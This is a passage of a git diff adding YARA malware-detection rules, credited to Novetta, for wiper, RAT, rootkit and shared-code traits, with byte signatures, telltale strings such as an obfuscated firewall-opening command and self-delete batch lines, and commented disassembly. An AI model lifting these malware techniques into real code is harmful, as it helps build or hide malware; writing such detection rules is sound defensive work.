+								    38 C7 44 24 3C 95 00 00 00 C7 44 24 40 6A 00 00 00 89 74 24 44 C7 44 24 14 07 00 00 00 FF 15 ?? ?? ?? ?? 3B C6 89 
+								    44 24 1C 0F 84 (D8 | d9) 01 00 00 33 FF 68 00 00 01 00 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF 89 5C 24 14 0F 84 (BC | BD) 
+									  01 00 00 8B 44 24 1C A8 01 74 0A 24 FE 50 55 FF 15 ?? ?? ?? ?? 8B 44 24 4C 2B C7 74 20 48 74 0F 83 E8 02 75 1C C7 
+									  44 24 10 03 00 00 00 EB 12 C7 44 24 10 01 00 00 00 89 74 24 28 EB 04 89 7C 24 10 8B 44 24 10 89 7C 24 1C 3B C7 0F 
+									  8E ( 5C | 5d ) 01 00 00 8D 44 24 28 89 44 24 4C EB 03 83 CE FF 8B 4C 24 4C 8B 01 3B C6 74 17 8A D0 B9 00 40 00 00 
+									  8A F2 8B FB 8B C2 C1 E0 10 66 8B C2 F3 AB EB ( 13 | 14) 33 F6 (E8 | ff 15) ?? ?? ?? ?? 88 04 1E 46 81 FE 00 00 01 
+									  00 7C ( EF | ee) 6A 00 6A 00 6A 03 6A 00 6A 03 68 00 00 00 C0 55 FF 15 ?? ?? ?? ?? 8B F0 83 FE FF 0F 84 FA 00 00 00 
+									  8D 44 24 20 50 56 FF 15 ?? ?? ?? ?? 8B 2D ?? ?? ?? ?? 6A 02 6A 00 6A FF 56 FF D5 8D 4C 24 18 6A 00 51 6A 01 53 56 
+			 					    FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 6A 00 6A 00 6A 00 56 FF D5 8B 44 24 24 8B 54 24 20 33 FF 33 DB 85 C0 7C 5A 
+									  7F 0A 85 D2 76 54 EB 04 8B 54 24 20 8B CA BD 00 00 01 00 2B CF 1B C3 85 C0 7F 0A 7C 04 3B CD 73 04 2B D7 8B EA 8B 
+									  44 24 14 8D 54 24 18 6A 00 52 55 50 56 FF 15 ?? ?? ?? ?? 8B 6C 24 18 8B 44 24 24 03 FD 83 D3 00 3B D8 7C BE 7F 08 
+									  8B 54 24 20 3B FA 72 B8 8B 2D ?? ?? ?? ?? 8B 5C 24 10 8B 7C 24 1C 8D 4B FF 3B F9 75 17 56 FF 15 ?? ?? ?? ?? 6A 00 
+									  6A 00 6A 00 56 FF D5 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 56 FF 15 ?? ?? ?? ?? 8B 4C 24 4C 8B 6C 24 48 47 83 
+									  C1 04 3B FB 8B 5C 24 14 89 7C 24 1C 89 4C 24 4C 0F 8C ( AE | AD) FE FF FF 6A 00 55 E8 ?? ?? ?? ?? 83 C4 08 53 FF 
+									  15 ?? ?? ?? ?? 5F 5E 5D 5B 83 C4 34 C3 }
+	
+	condition:
+		$secureWipe
+}
+*/
+
+rule DestructiveTargetCleaningTool3
+{
+	
+	strings:
+		$S1_CMD_Arg = "/install" fullword
+		$S2_CMD_Parse= "\"%s\"  /install \"%s\"" fullword
+		$S3_CMD_Builder= "\"%s\"  \"%s\" \"%s\" %s" fullword
+	
+	condition:
+		all of them
+}
+ 
+
+rule DestructiveTargetCleaningTool4
+{
+
+	strings:
+		$BATCH_SCRIPT_LN1_0 = "goto x" fullword
+		$BATCH_SCRIPT_LN1_1 = "del" fullword
+		$BATCH_SCRIPT_LN2_0 = "if exist" fullword
+		$BATCH_SCRIPT_LN3_0 = ":x" fullword
+		$BATCH_SCRIPT_LN4_0 = "zz%d.bat" fullword
+	
+	condition:
+		(#BATCH_SCRIPT_LN1_1 == 2) and all of them
+}
+rule DestructiveTargetCleaningTool5
+{
+	strings:
+		$MCU_DLL_ZLIB_COMPRESSED2 = { 5C EC AB AE 81 3C C9 BC D5 A5 42 F4 54 91 04 28 34 34 79 80 6F 71 D5 52 1E 2A 0D }
+	
+	condition:
+		$MCU_DLL_ZLIB_COMPRESSED2
+}
+ 
+
+rule DestructiveTargetCleaningTool6
+{
+	strings:
+		$MCU_INF_StartHexDec = {010346080A30D63633000B6263750A5052322A00103D1B570A30E67F2A00130952690A503A0D2A000E00A26E15104556766572636C7669642E657865}
+		$MCU_INF_StartHexEnc = {6C3272386958BF075230780A0A54676166024968790C7A6779588F5E47312739310163615B3D59686721CF5F2120263E1F5413531F1E004543544C55}
+	
+	condition:
+		$MCU_INF_StartHexEnc or $MCU_INF_StartHexDec
+}
+ 
+
+rule DestructiveTargetCleaningTool7
+{
+	strings:
+		$a = "SetFilePointer"
+		$b = "SetEndOfFile"
+		$c = {75 17 56 ff 15 ?? ?? ?? ?? 6a 00 6a 00 6a 00 56 ff D5 56 ff 15 ?? ?? ?? ?? 56}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and all of them
+}
+ 
+rule DestructiveTargetCleaningTool8
+{
+	strings:
+		$license = {E903FFFF820050006F007200740069006F006E007300200063006F007000790072006900670068007400200052006F006200650072007400200064006500200042006100740068002C0020004A006F007200690073002000760061006E002000520061006E007400770069006A006B002C002000440065006C00690061006E000000000000000250000000000A002200CE000800EA03FFFF8200}
+		$PuTTY= {50007500540054005900}
+	
+	condition:
+		(uint16(0) == 0x5A4D and uint16(uint32(0x3c)) == 0x4550) and $license and not $PuTTY
+}
+
+rule Malwareusedbycyberthreatactor1
+{
+	strings:
+		// vvv---- this sig hits on a legit CRT function it seems. 
+		$heapCreateFunction_0 = {33C06A003944240868001000000F94C050FF15????????85C0A3???????07436E893FEFFFF83F803A3???????0750D68F8030000E8??00000059EB0A83F8027518E8????000085C0750FFF35???????0FF15???????033C0C36A0158C3}
+		
+		$heapCreateFunction = { 55 8B EC B8 2C 12 00 00 E8 ?? ?? FF FF 8D 85 68 FF FF FF 53 50 C7 85 68 FF FF FF 94 00 00 00 FF 1? ?? ?? ?? ?0 85 C0 74 1A 83 BD 78 FF FF FF 02 75 11 83 BD 6C FF FF FF 05 72 08 6A 01 58 E9 02 01 00 00 8D 85 D4 ED FF F6 89 01 00 00 05 06 8? ?? ?? ?? 0F F1 5? ?? ?? ?? 08 5C 00 F8 4D 00 00 00 03 3D B8 D8 DD 4E DF FF F3 89 DD DF FF F7 41 38 A0 13 C6 17 C0 83 C7 A7 F0 42 C2 08 80 14 13 81 97 5E D8 D8 5D 4E DF FF F6 A1 65 06 8? ?? ?? ?? 0E 8? ?? ?0 00 08 3C 40 C8 5C 07 50 88 D8 5D 4E DF FF FE B4 98 D8 56 4F EF FF F6 80 40 10 00 05 05 3F F1 5? ?? ?? ?? 03 89 D6 4F EF FF F8 D8 D6 4F EF FF F7 41 38 A0 13 C6 17 C0 83 C7 A7 F0 42 C2 08 80 14 13 81 97 5E D8 D8 56 4F EF FF F5 08 D8 5D 4E DF FF F5 0E 8? ?? ?? ?? ?5 95 93 BC 37 43 E6 A2 C5 0E 8? ?? ?? ?? ?5 93 BC 35 97 43 04 08 BC 83 81 87 40 E8 03 93 B7 50 48 81 9E B0 14 13 81 97 5F 26 A0 A5 35 0E 8? ?? ?0 00 08 3C 40 C8 3F 80 27 41 D8 3F 80 37 41 88 3F 80 17 41 38 D4 5F C5 0E 89 8F EF FF F8 07 DF C0 65 91 BC 08 3C 00 35 BC 9C}
+		
+  	// vvv---- this sig hits on a legit CRT function it seems. 
+		$getMajorMinorLinker = {568B7424086A00832600FF15???????06681384D5A75148B483C85C9740D03C18A481A880E8A401B8846015EC3}
+
+		$openServiceManager = {FF15???0?0?08B?885??74????????????????5?FF15???0?0?08B?????0?0?08BF?85F?74}
+	
+	condition:
+	
+		all of them
+}
+
+rule Malwareusedbycyberthreatactor2
+{
+	strings:
+		$str1 = "_quit"
+		$str2 = "_exe"
+		$str3 = "_put"
+		$str4 = "_got"
+		$str5 = "_get"
+		$str6 ="_del"
+		$str7 = "_dir"
+		$str8 = { C7 44 24 18 1F F7}
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0  or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
+ 
+rule Malwareusedbycyberthreatactor3
+{
+	strings:
+		$STR1 = { 50 68 80 00 00 00 68 FF FF 00 00 51 C7 44 24 1C 3a 8b 00 00 }
+	
+	condition:
+		(uint16(0) == 0x5A4D or uint16(0) == 0xCFD0 or uint16(0) == 0xC3D4 or uint32(0) == 0x46445025 or uint32(1) == 0x6674725C) and all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/general.yara b/yara-mikesxrs/Novetta/general.yara
new file mode 100644
index 0000000..4cb4d8d
--- /dev/null
+++ b/yara-mikesxrs/Novetta/general.yara
@@ -0,0 +1,66 @@
+// yara rules that can cross boundaries between the various sets/types... more general detection signatures
+import "pe"
+
+rule wiper_unique_strings
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+	 	company = "novetta"
+
+	 strings:
+	 	$a = "C!@I#%VJSIEOTQWPVz034vuA"
+		$b = "BAISEO%$2fas9vQsfvx%$"
+		$c = "1.2.7.f-hanba-win64-v1"
+		$d = "md %s&copy %s\\*.* %s"
+		$e = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+		$f = "Ge.tVol. .umeIn..for  mati.onW"
+	
+	condition:
+		$a or $b or $c or $d or $e or $f
+}
+
+
+rule wiper_encoded_strings
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+ 		company = "novetta"
+
+	 strings:
+	 	$scr = {89 D4 C4 D5 00 00 00}
+	 	$explorer = {E2 DF D7 CB C8 D5 C2 D5 89 C2 DF C2 00 00 00 }
+	 	$kernel32 = {CC C2 D5 C9 C2 CB 94 95  89 C3 CB CB 00 00 }
+
+	condition:
+		$scr or $explorer or $kernel32 
+}
+
+
+rule createP2P
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+		$ = "CreatP2P Thread" wide
+
+	condition:
+		any of them
+}
+
+rule firewallOpener
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+
+	strings:
+	 $ = "%sd.e%sc n%ssh%srewa%s ad%s po%sop%sing T%s %d \"%s\""
+	 
+	condition:
+		any of them
+		
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/hidkit.yar b/yara-mikesxrs/Novetta/hidkit.yar
new file mode 100644
index 0000000..9d9db61
--- /dev/null
+++ b/yara-mikesxrs/Novetta/hidkit.yar
@@ -0,0 +1,13 @@
+rule hidkit
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$a = "---HIDE"
+		$b = "hide---port = %d"
+
+	condition:
+		uint16(0)==0x5A4D and uint32(uint32(0x3c))==0x00004550 and $a and $b
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/hikit.yar b/yara-mikesxrs/Novetta/hikit.yar
new file mode 100644
index 0000000..c90453c
--- /dev/null
+++ b/yara-mikesxrs/Novetta/hikit.yar
@@ -0,0 +1,20 @@
+rule hikit
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$hikit_pdb1 = /(H|h)ikit_/
+		$hikit_pdb2 = "hikit\\"
+		$hikit_str3 = "hikit>" wide
+
+		$driver = "w7fw.sys" wide
+		$device = "\\Device\\w7fw" wide
+		$global = "Global\\%s__HIDE__" wide nocase
+		$backdr = "backdoor closed" wide
+		$hidden = "*****Hidden:" wide
+
+	condition:
+		(1 of ($hikit_pdb1,$hikit_pdb2,$hikit_str3)) and ($driver or $device or $global or $backdr or $hidden)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/hikit2.yar b/yara-mikesxrs/Novetta/hikit2.yar
new file mode 100644
index 0000000..519c8ac
--- /dev/null
+++ b/yara-mikesxrs/Novetta/hikit2.yar
@@ -0,0 +1,13 @@
+rule hikit2
+{
+	meta:
+		Author = "Novetta"
+		Reference = "https://www.novetta.com/wp-content/uploads/2014/11/HiKit.pdf"
+
+	strings:
+		$magic1 = {8C 24 24 43 2B 2B 22 13 13 13 00}
+		$magic2 = {8A 25 25 42 28 28 20 1C 1C 1C 15 15 15 0E 0E 0E 05 05 05 00}
+
+	condition:
+		$magic1 and $magic2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Novetta/mastersig.yara b/yara-mikesxrs/Novetta/mastersig.yara
new file mode 100644
index 0000000..ac999da
--- /dev/null
+++ b/yara-mikesxrs/Novetta/mastersig.yara
@@ -0,0 +1,72 @@
+// Glue file for all of the different yara sigs for easier scanning
+//
+//  copyright 2015 Novetta Solutions
+//	author = Novetta Threat Research & Interdiction Group - trig@novetta.com
+// Content distribution
+include "HotelAlfa.yara"
+
+// Installers
+include "IndiaAlfa.yara"
+include "IndiaBravo.yara"
+include "IndiaCharlie.yara"
+include "IndiaDelta.yara"
+include "IndiaEcho.yara"
+
+include "IndiaGolf.yara"
+include "IndiaHotel.yara"
+include "IndiaJuliett.yara"
+include "IndiaWhiskey.yara"
+
+// Keyloggers
+include "KiloAlfa.yara"
+
+// Loaders
+include "LimaAlfa.yara"
+include "LimaBravo.yara"
+include "LimaCharlie.yara"
+include "LimaDelta.yara"
+
+// Proxies
+include "PapaAlfa.yara"
+
+// RATs
+include "RomeoAlfa.yara"
+include "RomeoBravo.yara"
+include "RomeoCharlie.yara"
+include "RomeoDelta.yara"
+include "RomeoEcho.yara"
+include "RomeoFoxtrot.yara"
+include "RomeoGolf.yara"
+include "RomeoHotel.yara"
+include "RomeoWhiskey.yara"
+
+// Spreaders
+include "SierraAlfa.yara"
+include "SierraBravo.yara"
+include "SierraCharlie.yara"
+include "SierraJuliettMikeOne.yara"
+include "SierraJuliettMikeTwo.yara"
+
+// Tools
+include "TangoAlfa.yara"
+include "TangoBravo.yara"
+
+// Uninstallers
+include "UniformAlfa.yara"
+include "UniformJuliett.yara"
+
+// Wipers
+include "WhiskeyAlfa.yara"
+include "WhiskeyBravo.yara"
+include "WhiskeyCharlie.yara"
+include "WhiskeyDelta.yara"
+
+
+// feature detection signatures  -- these are error prone
+include "general.yara"
+include "sharedcode.yara"
+include "suicidescripts.yara"
+
+// CERT signatures -- low confidence in these
+include "cert_wiper.yara"
+
diff --git a/yara-mikesxrs/Novetta/sharedcode.yara b/yara-mikesxrs/Novetta/sharedcode.yara
new file mode 100644
index 0000000..d5eb49a
--- /dev/null
+++ b/yara-mikesxrs/Novetta/sharedcode.yara
@@ -0,0 +1,457 @@
+// sigs for the various cross-family codes
+import "pe"
+
+rule Caracachs: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		B9 10 00 00 00     mov     ecx, 10h        ; ecx = 16
+		8B 06              mov     eax, [esi]      ; eax = lastValue
+		C1 EA 10           shr     edx, 10h        ; edx = val >> 16
+		81 E2 FF 7F 00 00  and     edx, 7FFFh      ; edx = (val >> 16) & 0x7FFF
+		03 C2              add     eax, edx        ; eax = ((val >> 16) & 0x7FFF) + lastValue
+		8B D0              mov     edx, eax        ; edx = ((val >> 16) & 0x7FFF) + lastValue
+		8B F8              mov     edi, eax        ; edi = ((val >> 16) & 0x7FFF) + lastValue
+		83 E2 0F           and     edx, 0Fh        ; edx = (((val >> 16) & 0x7FFF) + lastValue) & 0xF
+		2B CA              sub     ecx, edx        ; ecx = 16 - ((((val >> 16) & 0x7FFF) + lastValue)) & 0xF
+		D3 EF              shr     edi, cl         ; edi = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		8B CA              mov     ecx, edx        ; ecx = (((val >> 16) & 0x7FFF) + lastValue) & 0xF
+		D3 E0              shl     eax, cl         ; eax = (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		0B F8              or      edi, eax        ; edi = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF) | (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+		89 3E              mov     [esi], edi      ; pLastValue = (((val >> 16) & 0x7FFF) + lastValue) >> ((16 - ((val >> 16) & 0x7FFF) + lastValue) & 0xF) | (((val >> 16) & 0x7FFF) + lastValue) << ((((val >> 16) & 0x7FFF) + lastValue) & 0xF)
+	*/
+
+	$a = {
+			B? 10 00 00 00 
+			8B ?? 
+			C1 ?? 10 
+			81 ?? FF 7F 00 00 
+			03 ?? 
+			8B ?? 
+			8B ?? 
+			83 ?? 0F 
+			2B ?? 
+			D3 ?? 
+			8B ?? 
+			D3 ?? 
+			0B ?? 
+			89 ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule StringDotSimplified: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		F3 AB     rep stosd
+		80 3A 00  cmp     byte ptr [edx], 0
+		74 15     jz      short loc_404170
+		8A 02     mov     al, [edx]
+		3C 2E     cmp     al, 2Eh
+		74 07     jz      short loc_404168
+		3C 20     cmp     al, 20h
+		74 03     jz      short loc_404168
+		88 06     mov     [esi], al
+		46        inc     esi
+	*/
+
+	$a = {
+			F3 AB 
+			80 ?? 00 
+			74 ?? 
+			8A 02 
+			3C 2E 
+			74 ?? 
+			3C 20 
+			74 ?? 
+			88 06 
+			46 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule FakeTLS_ServerHelloGetSelectedCipher: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		24 10           and     al, 10h
+		0C 10           or      al, 10h
+		89 07           mov     [edi], eax
+		66 8B 44 24 14  mov     ax, [esp+0Ch+wCipherSuiteID]
+		66 3D 00 C0     cmp     ax, 0C000h
+		73 34           jnb     short loc_4067C1
+		66 2D 35 00     sub     ax, 35h
+		66 F7 D8        neg     ax
+		1B C0           sbb     eax, eax
+		24 80           and     al, 80h
+		05 00 01 00 00  add     eax, 100h
+		8B D8           mov     ebx, eax
+		53              push    ebx             ; hostshort
+	*/
+
+	$a = {
+			24 10 
+			0C 10 
+			89 ?? 
+			66 8? [3]
+			66 3? 00 C0 
+			73 ?? 
+			66 2? 35 00 
+			66 F7 ?? 
+			1B ?? 
+			2? 80 
+			0? 00 01 00 00 
+			8B ?? 
+			5? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule XORDecodeA7: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		8A 04 17  mov     al, [edi+edx]
+		8B FB     mov     edi, ebx
+		34 A7     xor     al, 0A7h
+		46        inc     esi
+		88 02     mov     [edx], al
+		83 C9 FF  or      ecx, 0FFFFFFFFh
+		33 C0     xor     eax, eax
+		42        inc     edx
+		F2 AE     repne scasb
+		F7 D1     not     ecx
+		49        dec     ecx
+		3B F1     cmp     esi, ecx
+	*/
+
+	$a = {
+			8A [2] 
+			8B ??
+			34 A7 
+			46 
+			88 ?? 
+			83 ?? FF 
+			33 ?? 
+			4? 
+			F2 AE 
+			F7 ?? 
+			4? 
+			3B ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule DynamicAPILoading: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; lpProcName
+		56                 push    esi             ; hModule
+		FF 15 20 F0 40 00  call    ds:GetProcAddress
+		68 A8 0C 41 00     push    offset aLo_adlIbr_arYw; "Lo.adL ibr.ar yW"
+		A3 DC 3E 41 00     mov     GetProcAddress_0, eax
+		E8 7D FF FF FF     call    CleanupString
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; _DWORD
+		56                 push    esi             ; _DWORD
+		FF 15 DC 3E 41 00  call    GetProcAddress_0
+		68 94 0C 41 00     push    offset aLoad_LibR_arYa; "Load. Lib r.ar yA"
+		A3 D4 3E 41 00     mov     LoadLibraryW, eax
+		E8 63 FF FF FF     call    CleanupString
+		83 C4 04           add     esp, 4
+		50                 push    eax             ; _DWORD
+		56                 push    esi             ; _DWORD
+		FF 15 DC 3E 41 00  call    GetProcAddress_0
+		68 80 0C 41 00     push    offset a_frE_eliBr_arY; ".Fr e.eLi br.ar y"
+		A3 D8 3E 41 00     mov     LoadLibraryA_0, eax
+		E8 49 FF FF FF     call    CleanupString
+	*/
+
+	$a = {
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8 [4]
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8 [4]
+			83 C4 ?? 
+			5? 
+			5? 
+			FF 15 [4]
+			68 [4]
+			A3 [4]
+			E8
+		}
+
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule DNSCalcStyleEncodeAndDecode: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "975522bc3e07f7aa2c4a5457e6cc16c49a148b9f731134b8971983225835577e"
+
+	strings:
+	/*
+		8A 10     mov     dl, [eax]
+		80 F2 73  xor     dl, 73h					<--- for decoding and encoding, this and
+		80 EA 3A  sub     dl, 3Ah					<--- this could be reversed, but the sig holds since both are 0x80
+		88 10     mov     [eax], dl
+		40        inc     eax
+		49        dec     ecx
+		75 F2     jnz     short loc_1000403C
+	*/
+
+	$a = {
+			8A ?? 
+			80 ?? ?? 
+			80 ?? ?? 
+			88 ?? 
+			4? 
+			4? 
+			75 ?? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule GenerateTLSClientHelloPacket_Test: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "eff542ac8e37db48821cb4e5a7d95c044fff27557763de3a891b40ebeb52cc55.ex_"
+
+	strings:
+	/*
+		25 07 00 00 80  and     eax, 80000007h
+		79 05           jns     short loc_405EC8; um, nope.. this will always happen
+		48              dec     eax
+		83 C8 F8        or      eax, 0FFFFFFF8h
+		40              inc     eax
+	*/
+
+	$a = {
+			25 07 00 00 80 
+			79 ?? 
+			4? 
+			83 ?? F8 
+			4? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule RC4SboxKeyGen: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "RT_RCDATA_101.bin.bin"
+
+	strings:
+	/*
+		8A 4C 04 08        mov     cl, [esp+eax+108h+sbox]; cl = sbox[i]
+		8B D0              mov     edx, eax
+		81 E2 0F 00 00 80  and     edx, 8000000Fh  ; i % 16
+		79 05              jns     short loc_10003AC8; dl = key[i & 16]
+		4A                 dec     edx
+		83 CA F0           or      edx, 0FFFFFFF0h
+		42                 inc     edx
+	*/
+
+	$a = {
+			8A [3] 
+			8B ?? 
+			81 ?? 0F 00 00 80 
+			79 ?? 
+			4? 
+			83 ?? F0 
+			4? 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+
+rule RandomTimestampGenerator: sharedcode
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "RT_RCDATA_101.bin.bin joanap baseline sample"
+
+	strings:
+	/*
+		66 81 44 24 0C FE FF  add     [esp+1Ch+SystemTime.wYear], 0FFFEh
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 0C 00 00 00        mov     ecx, 0Ch
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 0E        mov     [esp+1Ch+SystemTime.wMonth], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 1C 00 00 00        mov     ecx, 1Ch
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 12        mov     [esp+1Ch+SystemTime.wDay], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 17 00 00 00        mov     ecx, 17h
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 14        mov     [esp+1Ch+SystemTime.wHour], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 3B 00 00 00        mov     ecx, 3Bh
+		F7 F9                 idiv    ecx
+		42                    inc     edx
+		66 89 54 24 16        mov     [esp+1Ch+SystemTime.wMinute], dx
+		FF D6                 call    esi ; rand
+		99                    cdq
+		B9 3B 00 00 00        mov     ecx, 3Bh
+		F7 F9                 idiv    ecx
+	*/
+
+	$a = {
+			66 81 [3] FE FF 
+			FF [1-4] 
+			99 
+			B9 0C 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3]  
+			FF D6 
+			99 
+			B9 1C 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 17 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 3B 00 00 00 
+			F7 [1-4] 
+			42 
+			66 89 [3] 
+			FF D6 
+			99 
+			B9 3B 00 00 00 
+			F7 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
+
+rule CPUInfoExtraction
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
+		author = "Novetta Threat Research & Interdiction Group - trig@novetta.com"
+		Source = "Cmd10010_296fcc9d611ca1b8f8288192d6d854cf4072853010cc65cb0c7f958626999fbd.bin"
+
+	strings:
+	/*
+		68 00 00 00 80     push    80000000h       ; a2
+		8B 02              mov     eax, [edx]
+		8B 4A 04           mov     ecx, [edx+4]
+		89 4C 24 10        mov     [esp+2Ch+var_1C], ecx
+		8B 4A 08           mov     ecx, [edx+8]
+		89 4C 24 14        mov     [esp+2Ch+var_18], ecx
+		8B 4A 0C           mov     ecx, [edx+0Ch]
+		8D 54 24 1C        lea     edx, [esp+2Ch+var_10]
+		89 8E 70 03 00 00  mov     [esi+370h], ecx
+		52                 push    edx             ; a1
+		8B CE              mov     ecx, esi
+		89 86 6C 03 00 00  mov     [esi+36Ch], eax
+		E8 29 FF FF FF     call    GetCPUIDValues
+		8B C8              mov     ecx, eax
+		8B 01              mov     eax, [ecx]
+		3D 00 00 00 80     cmp     eax, 80000000h
+		8B 51 04           mov     edx, [ecx+4]
+	*/
+
+	$a = {
+			68 00 00 00 80 
+			8B ?? 
+			8B ?? 04 
+			89 [3] 
+			8B ?? 08 
+			89 [3] 
+			8B ?? 0C 
+			8D [3] 
+			89 [5] 
+			5? 
+			8B ?? 
+			89 [5]
+			E8 [4]
+			8B ?? 
+			8B ?? 
+			3D 00 00 00 80 
+			8B ?? 04 
+		}
+
+	condition:
+		$a in ((pe.sections[pe.section_index(".text")].raw_data_offset)..(pe.sections[pe.section_index(".text")].raw_data_offset + pe.sections[pe.section_index(".text")].raw_data_size))
+}
diff --git a/yara-mikesxrs/Novetta/suicidescripts.yara b/yara-mikesxrs/Novetta/suicidescripts.yara
new file mode 100644
index 0000000..b244dc7
--- /dev/null
+++ b/yara-mikesxrs/Novetta/suicidescripts.yara
@@ -0,0 +1,42 @@
+// yara sigs for detecting common suicide scripts
+
+rule SuicideScriptL1
+{
+	meta:
+		copyright = "2015 Novetta Solutions"
